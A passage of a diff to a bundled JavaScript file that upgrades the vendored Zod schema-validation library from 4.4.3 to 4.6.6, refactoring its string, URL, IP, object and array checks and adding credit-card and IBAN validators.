"too_small", minimum: def.minimum, inclusive: true, - input, + input: input2, inst, continue: !def.abort }); @@ -48824,22 +49159,14 @@ var $ZodCheckMinLength = /* @__PURE__ */ $constructor("$ZodCheckMinLength", (ins var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals", (inst, def) => { var _a3; $ZodCheck.init(inst, def); - (_a3 = inst._zod.def).when ?? (_a3.when = (payload) => { - const val = payload.value; - return !nullish(val) && val.length !== void 0; - }); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.minimum = def.length; - bag.maximum = def.length; - bag.length = def.length; - }); + (_a3 = inst._zod.def).when ?? (_a3.when = _whenHasLength); inst._zod.check = (payload) => { - const input = payload.value; - const length = input.length; + const input2 = payload.value; + const units = input2.length; + const length = typeof input2 === "string" && units >= def.length && units <= def.length * 2 ? codePointLength(input2) : units; if (length === def.length) return; - const origin = getLengthableOrigin(input); + const origin = getLengthableOrigin(input2); const tooBig = length > def.length; payload.issues.push({ origin, @@ -48855,14 +49182,6 @@ var $ZodCheckLengthEquals = /* @__PURE__ */ $constructor("$ZodCheckLengthEquals" var $ZodCheckStringFormat = /* @__PURE__ */ $constructor("$ZodCheckStringFormat", (inst, def) => { var _a3, _b; $ZodCheck.init(inst, def); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.format = def.format; - if (def.pattern) { - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(def.pattern); - } - }); if (def.pattern) (_a3 = inst._zod).check ?? (_a3.check = (payload) => { def.pattern.lastIndex = 0; @@ -48910,13 +49229,8 @@ var $ZodCheckUpperCase = /* @__PURE__ */ $constructor("$ZodCheckUpperCase", (ins var $ZodCheckIncludes = /* @__PURE__ */ $constructor("$ZodCheckIncludes", (inst, def) => { $ZodCheck.init(inst, def); const escapedRegex = escapeRegex(def.includes); - const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position}}${escapedRegex}` : escapedRegex); + const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position},}${escapedRegex}` : escapedRegex); def.pattern = pattern; - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.includes(def.includes, def.position)) return; @@ -48935,11 +49249,6 @@ var $ZodCheckStartsWith = /* @__PURE__ */ $constructor("$ZodCheckStartsWith", (i $ZodCheck.init(inst, def); const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.startsWith(def.prefix)) return; @@ -48958,11 +49267,6 @@ var $ZodCheckEndsWith = /* @__PURE__ */ $constructor("$ZodCheckEndsWith", (inst, $ZodCheck.init(inst, def); const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`); def.pattern ?? (def.pattern = pattern); - inst._zod.onattach.push((inst2) => { - const bag = inst2._zod.bag; - bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); - bag.patterns.add(pattern); - }); inst._zod.check = (payload) => { if (payload.value.endsWith(def.suffix)) return; @@ -48996,12 +49300,37 @@ var $ZodCheckProperty = /* @__PURE__ */ $constructor("$ZodCheckProperty", (inst, return; }; }); +var $ZodCheckProperties = /* @__PURE__ */ $constructor("$ZodCheckProperties", (inst, def) => { + $ZodCheck.init(inst, def); + hide(inst, Symbol.iterator, function* () { + yield inst; + }); + let entries; + inst._zod.check = (payload) => { + if (payload.value == null) { + payload.issues.push({ expected: "object", code: "invalid_type", input: payload.value, inst }); + return void 0; + } + entries ?? (entries = Reflect.ownKeys(def.shape).map((key) => [key, def.shape[key]])); + const input2 = payload.value; + let proms; + for (const [key, schema] of entries) { + const result = schema._zod.run({ value: input2[key], issues: [] }, {}); + if (result instanceof Promise) { + proms ?? (proms = []); + proms.push(result.then((result2) => handleCheckPropertyResult(result2, payload, key))); + } else { + handleCheckPropertyResult(result, payload, key); + } + } + if (proms) + return Promise.all(proms).then(() => void 0); + return void 0; + }; +}); var $ZodCheckMimeType = /* @__PURE__ */ $constructor("$ZodCheckMimeType", (inst, def) => { $ZodCheck.init(inst, def); const mimeSet = new Set(def.mime); - inst._zod.onattach.push((inst2) => { - inst2._zod.bag.mime = def.mime; - }); inst._zod.check = (payload) => { if (mimeSet.has(payload.value.type)) return; @@ -49021,18 +49350,22 @@ var $ZodCheckOverwrite = /* @__PURE__ */ $constructor("$ZodCheckOverwrite", (ins }; }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/doc.js var Doc = class { - constructor(args = []) { + constructor(args = [], closed = {}) { this.content = []; this.indent = 0; - if (this) - this.args = args; + this.args = args; + this.closed = closed; } + // the compiler catches a child's throw and keeps writing into this doc, so the indent has to unwind with it indented(fn) { this.indent += 1; - fn(this); - this.indent -= 1; + try { + fn(this); + } finally { + this.indent -= 1; + } } write(arg) { if (typeof arg === "function") { @@ -49050,31 +49383,30 @@ var Doc = class { } compile() { const F = Function; - const args = this?.args; const content = this?.content ?? [``]; - const lines = [...content.map((x) => ` ${x}`)]; - return new F(...args, lines.join("\n")); + const factory = new F(...Object.keys(this.closed), `return function (${this.args.join(", ")}) { +${content.join("\n")} +};`); + return factory(...Object.values(this.closed)); } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/versions.js var version = { major: 4, - minor: 4, - patch: 3 + minor: 6, + patch: 6 }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/schemas.js var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { var _a3; inst ?? (inst = {}); inst._zod.def = def; inst._zod.bag = inst._zod.bag || {}; inst._zod.version = version; - const checks = [...inst._zod.def.checks ?? []]; - if (inst._zod.traits.has("$ZodCheck")) { - checks.unshift(inst); - } + const defChecks = inst._zod.def.checks; + const checks = inst._zod.traits.has("$ZodCheck") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : []; for (const ch of checks) { for (const fn of ch._zod.onattach) { fn(inst); @@ -49087,6 +49419,8 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { }); } else { const runChecks = (payload, checks2, ctx) => { + if (payload.memo) + return payload; let isAborted = aborted(payload); let asyncResult; for (const ch of checks2) { @@ -49110,6 +49444,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) return; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); }); @@ -49117,6 +49452,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) continue; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); } @@ -49163,22 +49499,39 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { return runChecks(result, checks, ctx); }; } - defineLazy(inst, "~standard", () => ({ +}, { + // Wrappers extend this by installing a richer factory over it; reading it eagerly would defeat the laziness. + get "~standard"() { + return hide(this, "~standard", standardProps(this)); + }, + set "~standard"(value) { + own(this, "~standard", value); + } +}); +var toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value }; +async function validateAsync2(inst, value) { + const ctx = { async: true }; + return toStandardResult(await inst._zod.run({ value, issues: [] }, ctx), ctx); +} +function standardProps(inst) { + return { validate: (value) => { + const ctx = { async: false }; try { - const r = safeParse(inst, value); - return r.success ? { value: r.data } : { issues: r.error?.issues }; + const r = inst._zod.run({ value, issues: [] }, ctx); + if (!(r instanceof Promise)) + return toStandardResult(r, ctx); } catch (_) { - return safeParseAsync(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues }); } + return validateAsync2(inst, value); }, vendor: "zod", version: 1 - })); -}); + }; +} var $ZodString = /* @__PURE__ */ $constructor("$ZodString", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string(inst._zod.bag); + inst._zod.pattern = def.pattern ?? anyString; inst._zod.parse = (payload, _) => { if (def.coerce) try { @@ -49228,58 +49581,105 @@ var $ZodEmail = /* @__PURE__ */ $constructor("$ZodEmail", (inst, def) => { def.pattern ?? (def.pattern = email); $ZodStringFormat.init(inst, def); }); +var URL_BAD_FORMAT = 1; +var URL_UNPARSEABLE = 2; +function canParseURL(input2) { + try { + if (typeof URL !== "undefined" && typeof URL.canParse === "function") + return URL.canParse(input2); + new URL(input2); + return true; + } catch { + return false; + } +} +function validateURL(trimmed, def) { + if (!("normalize" in def) && !("hostname" in def) && !("protocol" in def)) { + return canParseURL(trimmed) || URL_UNPARSEABLE; + } + return parseURLObject(trimmed, def); +} +function parseURLObject(trimmed, def) { + if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\/\//i.test(trimmed)) { + return URL_BAD_FORMAT; + } + try { + if (typeof URL !== "undefined") { + const URLStatic = URL; + if (typeof URLStatic.parse === "function") + return URLStatic.parse(trimmed) ?? URL_UNPARSEABLE; + } + return new URL(trimmed); + } catch { + return URL_UNPARSEABLE; + } +} +var asciiTabOrNewline = /[\t\n\r]/g; +function stripTabAndNewline(value) { + return value.replace(asciiTabOrNewline, ""); +} +function urlHostnameOk(url2, hostname3) { + hostname3.lastIndex = 0; + return hostname3.test(url2.hostname); +} +function urlProtocolOk(url2, protocol) { + protocol.lastIndex = 0; + return protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol); +} var $ZodURL = /* @__PURE__ */ $constructor("$ZodURL", (inst, def) => { $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { try { const trimmed = payload.value.trim(); - if (!def.normalize && def.protocol?.source === httpProtocol.source) { - if (!/^https?:\/\//i.test(trimmed)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid URL format", - input: payload.value, - inst, - continue: !def.abort - }); - return; - } + const url2 = validateURL(trimmed, def); + if (url2 === URL_BAD_FORMAT) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid URL format", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - const url2 = new URL(trimmed); - if (def.hostname) { - def.hostname.lastIndex = 0; - if (!def.hostname.test(url2.hostname)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid hostname", - pattern: def.hostname.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === URL_UNPARSEABLE) { + payload.issues.push({ + code: "invalid_format", + format: "url", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - if (def.protocol) { - def.protocol.lastIndex = 0; - if (!def.protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid protocol", - pattern: def.protocol.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === true) { + payload.value = stripTabAndNewline(trimmed); + return; } - if (def.normalize) { - payload.value = url2.href; - } else { - payload.value = trimmed; + if (def.hostname && !urlHostnameOk(url2, def.hostname)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid hostname", + pattern: def.hostname.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + if (def.protocol && !urlProtocolOk(url2, def.protocol)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid protocol", + pattern: def.protocol.source, + input: payload.value, + inst, + continue: !def.abort + }); } + payload.value = def.normalize ? url2.href : stripTabAndNewline(trimmed); return; } catch (_) { payload.issues.push({ @@ -49297,7 +49697,9 @@ var $ZodEmoji = /* @__PURE__ */ $constructor("$ZodEmoji", (inst, def) => { $ZodStringFormat.init(inst, def); }); var $ZodNanoID = /* @__PURE__ */ $constructor("$ZodNanoID", (inst, def) => { - def.pattern ?? (def.pattern = nanoid); + if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) + throw new Error(`Invalid nanoid length: ${def.length}`); + def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length)); $ZodStringFormat.init(inst, def); }); var $ZodCUID = /* @__PURE__ */ $constructor("$ZodCUID", (inst, def) => { @@ -49339,16 +49741,18 @@ var $ZodISODuration = /* @__PURE__ */ $constructor("$ZodISODuration", (inst, def var $ZodIPv4 = /* @__PURE__ */ $constructor("$ZodIPv4", (inst, def) => { def.pattern ?? (def.pattern = ipv4); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv4`; }); +var ipv6Alphabet = /^[0-9a-fA-F:.]+$/; +function isValidIPv6(value) { + if (!ipv6Alphabet.test(value)) + return false; + return canParseURL(`http://[${value}]`); +} var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { def.pattern ?? (def.pattern = ipv6); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv6`; inst._zod.check = (payload) => { - try { - new URL(`http://[${payload.value}]`); - } catch { + if (!isValidIPv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "ipv6", @@ -49362,30 +49766,30 @@ var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { var $ZodMAC = /* @__PURE__ */ $constructor("$ZodMAC", (inst, def) => { def.pattern ?? (def.pattern = mac(def.delimiter)); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `mac`; }); var $ZodCIDRv4 = /* @__PURE__ */ $constructor("$ZodCIDRv4", (inst, def) => { def.pattern ?? (def.pattern = cidrv4); $ZodStringFormat.init(inst, def); }); +function isValidCIDRv6(value) { + const parts = value.split("/"); + if (parts.length !== 2) + return false; + const [address, prefix] = parts; + if (!prefix) + return false; + const prefixNum = Number(prefix); + if (`${prefixNum}` !== prefix) + return false; + if (prefixNum < 0 || prefixNum > 128) + return false; + return isValidIPv6(address); +} var $ZodCIDRv6 = /* @__PURE__ */ $constructor("$ZodCIDRv6", (inst, def) => { def.pattern ?? (def.pattern = cidrv6); $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { - const parts = payload.value.split("/"); - try { - if (parts.length !== 2) - throw new Error(); - const [address, prefix] = parts; - if (!prefix) - throw new Error(); - const prefixNum = Number(prefix); - if (`${prefixNum}` !== prefix) - throw new Error(); - if (prefixNum < 0 || prefixNum > 128) - throw new Error(); - new URL(`http://[${address}]`); - } catch { + if (!isValidCIDRv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "cidrv6", @@ -49410,10 +49814,10 @@ function isValidBase64(data) { return false; } } +var base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/; var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { - def.pattern ?? (def.pattern = base64); + def.pattern ?? (def.pattern = base64Charset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64"; inst._zod.check = (payload) => { if (isValidBase64(payload.value)) return; @@ -49426,17 +49830,17 @@ var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { }); }; }); +var base64urlCharset = /^[A-Za-z0-9_-]*$/; function isValidBase64URL(data) { - if (!base64url.test(data)) + if (!base64urlCharset.test(data)) return false; const base643 = data.replace(/[-_]/g, (c) => c === "-" ? "+" : "/"); const padded = base643.padEnd(Math.ceil(base643.length / 4) * 4, "="); return isValidBase64(padded); } var $ZodBase64URL = /* @__PURE__ */ $constructor("$ZodBase64URL", (inst, def) => { - def.pattern ?? (def.pattern = base64url); + def.pattern ?? (def.pattern = base64urlCharset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64url"; inst._zod.check = (payload) => { if (isValidBase64URL(payload.value)) return; @@ -49453,6 +49857,71 @@ var $ZodE164 = /* @__PURE__ */ $constructor("$ZodE164", (inst, def) => { def.pattern ?? (def.pattern = e164); $ZodStringFormat.init(inst, def); }); +var CC_SANITIZE = /[- ]/g; +function isLuhnAlgo(digits) { + let length = digits.length; + let bit2 = 1; + let sum = 0; + while (length) { + const value = digits.charCodeAt(--length) - 48; + bit2 ^= 1; + sum += bit2 ? [0, 2, 4, 6, 8, 1, 3, 5, 7, 9][value] : value; + } + return sum % 10 === 0; +} +function isValidCreditCard(input2) { + if (!creditCard.test(input2)) + return false; + return isLuhnAlgo(input2.replace(CC_SANITIZE, "")); +} +var $ZodCreditCard = /* @__PURE__ */ $constructor("$ZodCreditCard", (inst, def) => { + def.pattern ?? (def.pattern = creditCard); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidCreditCard(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "credit_card", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function isIso7064Mod97(iban3) { + let remainder = 0; + const len = iban3.length; + for (let i = 4; i < len; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + for (let i = 0; i < 4; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + return remainder === 1; +} +function isValidIBAN(input2) { + if (!iban.test(input2)) + return false; + return isIso7064Mod97(input2); +} +var $ZodIBAN = /* @__PURE__ */ $constructor("$ZodIBAN", (inst, def) => { + def.pattern ?? (def.pattern = iban); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidIBAN(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "iban", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); function isValidJWT(token, algorithm = null) { try { const tokensParts = token.split("."); @@ -49503,22 +49972,22 @@ var $ZodCustomStringFormat = /* @__PURE__ */ $constructor("$ZodCustomStringForma }); var $ZodNumber = /* @__PURE__ */ $constructor("$ZodNumber", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = inst._zod.bag.pattern ?? number; + inst._zod.pattern = number; inst._zod.parse = (payload, _ctx) => { if (def.coerce) try { payload.value = Number(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "number" && !Number.isNaN(input) && Number.isFinite(input)) { + const input2 = payload.value; + if (typeof input2 === "number" && !Number.isNaN(input2) && Number.isFinite(input2)) { return payload; } - const received = typeof input === "number" ? Number.isNaN(input) ? "NaN" : !Number.isFinite(input) ? "Infinity" : void 0 : void 0; + const received = typeof input2 === "number" ? Number.isNaN(input2) ? "NaN" : !Number.isFinite(input2) ? String(input2) : void 0 : void 0; payload.issues.push({ expected: "number", code: "invalid_type", - input, + input: input2, inst, ...received ? { received } : {} }); @@ -49538,13 +50007,13 @@ var $ZodBoolean = /* @__PURE__ */ $constructor("$ZodBoolean", (inst, def) => { payload.value = Boolean(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "boolean") + const input2 = payload.value; + if (typeof input2 === "boolean") return payload; payload.issues.push({ expected: "boolean", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -49577,13 +50046,13 @@ var $ZodBigIntFormat = /* @__PURE__ */ $constructor("$ZodBigIntFormat", (inst, d var $ZodSymbol = /* @__PURE__ */ $constructor("$ZodSymbol", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "symbol") + const input2 = payload.value; + if (typeof input2 === "symbol") return payload; payload.issues.push({ expected: "symbol", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -49594,13 +50063,13 @@ var $ZodUndefined = /* @__PURE__ */ $constructor("$ZodUndefined", (inst, def) => inst._zod.pattern = _undefined; inst._zod.values = /* @__PURE__ */ new Set([void 0]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "undefined", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -49611,13 +50080,13 @@ var $ZodNull = /* @__PURE__ */ $constructor("$ZodNull", (inst, def) => { inst._zod.pattern = _null; inst._zod.values = /* @__PURE__ */ new Set([null]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input === null) + const input2 = payload.value; + if (input2 === null) return payload; payload.issues.push({ expected: "null", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -49646,13 +50115,13 @@ var $ZodNever = /* @__PURE__ */ $constructor("$ZodNever", (inst, def) => { var $ZodVoid = /* @__PURE__ */ $constructor("$ZodVoid", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "void", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -49667,21 +50136,46 @@ var $ZodDate = /* @__PURE__ */ $constructor("$ZodDate", (inst, def) => { } catch (_err) { } } - const input = payload.value; - const isDate = input instanceof Date; - const isValidDate = isDate && !Number.isNaN(input.getTime()); + const input2 = payload.value; + const isDate = input2 instanceof Date; + const isValidDate = isDate && !Number.isNaN(input2.getTime()); if (isValidDate) return payload; payload.issues.push({ expected: "date", code: "invalid_type", - input, + input: input2, ...isDate ? { received: "Invalid Date" } : {}, inst }); return payload; }; }); +function capSize(inst, size2) { + const caps = sizeCaps(inst._zod.def.checks); + if (!caps.length) + return; + const cap = Math.min(...caps.map((c) => c[0])); + const parse4 = inst._zod.parse; + inst._zod.parse = (payload, ctx) => { + const n = size2(payload.value); + if (n > cap && !ctx?.skipChecks && ctx?.direction !== "backward") { + for (const [max, ch] of sizeCaps(inst._zod.def.checks)) { + if (n > max && ch._zod.def.when(payload)) { + const start = payload.issues.length; + ch._zod.check(payload); + payload.issues[start].continue = false; + attachSchema(payload.issues, start, inst); + return payload; + } + } + } + return parse4(payload, ctx); + }; +} +var arraySize = (input2) => Array.isArray(input2) ? input2.length : -1; +var mapSize = (input2) => input2 instanceof Map ? input2.size : -1; +var setSize = (input2) => input2 instanceof Set ? input2.size : -1; function handleArrayResult(result, final, index2) { if (result.issues.length) { final.issues.push(...prefixIssues(index2, result.issues)); @@ -49690,21 +50184,24 @@ function handleArrayResult(result, final, index2) { } var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ expected: "array", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = Array(input.length); + payload.value = memo2 ? memo2.alloc(inst, payload, Array(input2.length), ctx) : Array(input2.length); const proms = []; - for (let i = 0; i < input.length; i++) { - const item = input[i]; + const abortEarly = ctx?.abortEarly; + for (let i = 0; i < input2.length; i++) { + const item = input2[i]; const result = def.element._zod.run({ value: item, issues: [] @@ -49713,6 +50210,8 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { proms.push(result.then((result2) => handleArrayResult(result2, payload, i))); } else { handleArrayResult(result, payload, i); + if (abortEarly && result.issues.length !== 0 && aborted(result)) + break; } } if (proms.length) { @@ -49720,16 +50219,21 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { } return payload; }; + capSize(inst, arraySize); }); -function handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) { - const isPresent = key in input; +function handlePropertyResult(result, final, key, input2, optin, optout) { + const isPresent = key in input2; + const isOptionalOut = optout === "optional"; + if (!isPresent && isOptionalOut && optin === "optional") { + return; + } if (result.issues.length) { - if (isOptionalIn && isOptionalOut && !isPresent) { + if (optin !== void 0 && isOptionalOut && !isPresent) { return; } final.issues.push(...prefixIssues(key, result.issues)); } - if (!isPresent && !isOptionalIn) { + if (!isPresent && optin === void 0) { if (!result.issues.length) { final.issues.push({ code: "invalid_type", @@ -49741,58 +50245,75 @@ function handlePropertyResult(result, final, key, input, isOptionalIn, isOptiona return; } if (result.value === void 0) { - if (isPresent) { + if (isPresent || optin === "defaulted" && !isOptionalOut) { final.value[key] = void 0; } } else { final.value[key] = result.value; } } +var NO_SYMBOL_KEYS = []; function normalizeDef(def) { const keys = Object.keys(def.shape); - for (const k of keys) { + const ownSymbols = Object.getOwnPropertySymbols(def.shape); + const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS; + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + for (const k of allKeys) { if (!def.shape?.[k]?._zod?.traits?.has("$ZodType")) { - throw new Error(`Invalid element at key "${k}": expected a Zod schema`); + throw new Error(`Invalid element at key "${String(k)}": expected a Zod schema`); } } const okeys = optionalKeys(def.shape); return { ...def, - keys, + allKeys, + symbolKeys, + // string-only: handleCatchall matches it against `for...in`, which never yields a symbol keySet: new Set(keys), numKeys: keys.length, optionalKeys: new Set(okeys) }; } -function handleCatchall(proms, input, payload, ctx, def, inst) { +function handleCatchall(proms, input2, payload, ctx, def, inst, abortEarly) { const unrecognized = []; const keySet = def.keySet; const _catchall = def.catchall._zod; const t = _catchall.def.type; - const isOptionalIn = _catchall.optin === "optional"; - const isOptionalOut = _catchall.optout === "optional"; - for (const key in input) { - if (key === "__proto__") - continue; + const optin = _catchall.optin; + const optout = _catchall.optout; + let seen = 0; + for (const key in input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } if (keySet.has(key)) continue; + if (key === "__proto__") { + if (t === "never") + unrecognized.push(key); + continue; + } if (t === "never") { unrecognized.push(key); continue; } - const r = _catchall.run({ value: input[key], issues: [] }, ctx); + const r = _catchall.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (unrecognized.length) { payload.issues.push({ code: "unrecognized_keys", keys: unrecognized, - input, - inst + input: input2, + inst, + // Describes the shape of the input, not the validity of the parsed value, so it never aborts. The parse still fails; the schema's own checks just get to run first, and an enclosing intersection can reconcile the key against a sibling operand. + continue: true }); } if (!proms.length) @@ -49804,28 +50325,31 @@ function handleCatchall(proms, input, payload, ctx, def, inst) { var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { $ZodType.init(inst, def); const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); - if (!desc2?.get) { - const sh = def.shape; - Object.defineProperty(def, "shape", { - get: () => { - const newSh = { ...sh }; - Object.defineProperty(def, "shape", { - value: newSh - }); - return newSh; - } - }); + const sh = desc2?.get ? desc2.get.raw : def.shape ?? {}; + if (sh) { + const get = () => { + const newSh = { ...sh }; + Object.defineProperty(def, "shape", { value: newSh }); + get.raw = newSh; + return newSh; + }; + get.raw = sh; + Object.defineProperty(def, "shape", { get }); } const _normalized = cached(() => normalizeDef(def)); - defineLazy(inst._zod, "propValues", () => { - const shape = def.shape; + defineLazyInternal(inst, "propValues", (zod) => { + const shape = zod.def.shape; const propValues = {}; for (const key in shape) { const field = shape[key]._zod; if (field.values) { - propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set()); + if (!Object.prototype.hasOwnProperty.call(propValues, key)) { + assignProp(propValues, key, /* @__PURE__ */ new Set()); + } for (const v of field.values) propValues[key].add(v); + if (field.optin !== void 0) + propValues[key].add(void 0); } } return propValues; @@ -49833,91 +50357,107 @@ var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { const isObject3 = isObject2; const catchall = def.catchall; let value; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = {}; + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const proms = []; const shape = value.shape; - for (const key of value.keys) { + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const key of value.allKeys) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } + if (key === "__proto__") + continue; const el = shape[key]; - const isOptionalIn = el._zod.optin === "optional"; - const isOptionalOut = el._zod.optout === "optional"; - const r = el._zod.run({ value: input[key], issues: [] }, ctx); + const optin = el._zod.optin; + const optout = el._zod.optout; + const r = el._zod.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (!catchall) { return proms.length ? Promise.all(proms).then(() => payload) : payload; } - return handleCatchall(proms, input, payload, ctx, _normalized.value, inst); + return handleCatchall(proms, input2, payload, ctx, _normalized.value, inst, abortEarly === true); }; }); var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => { 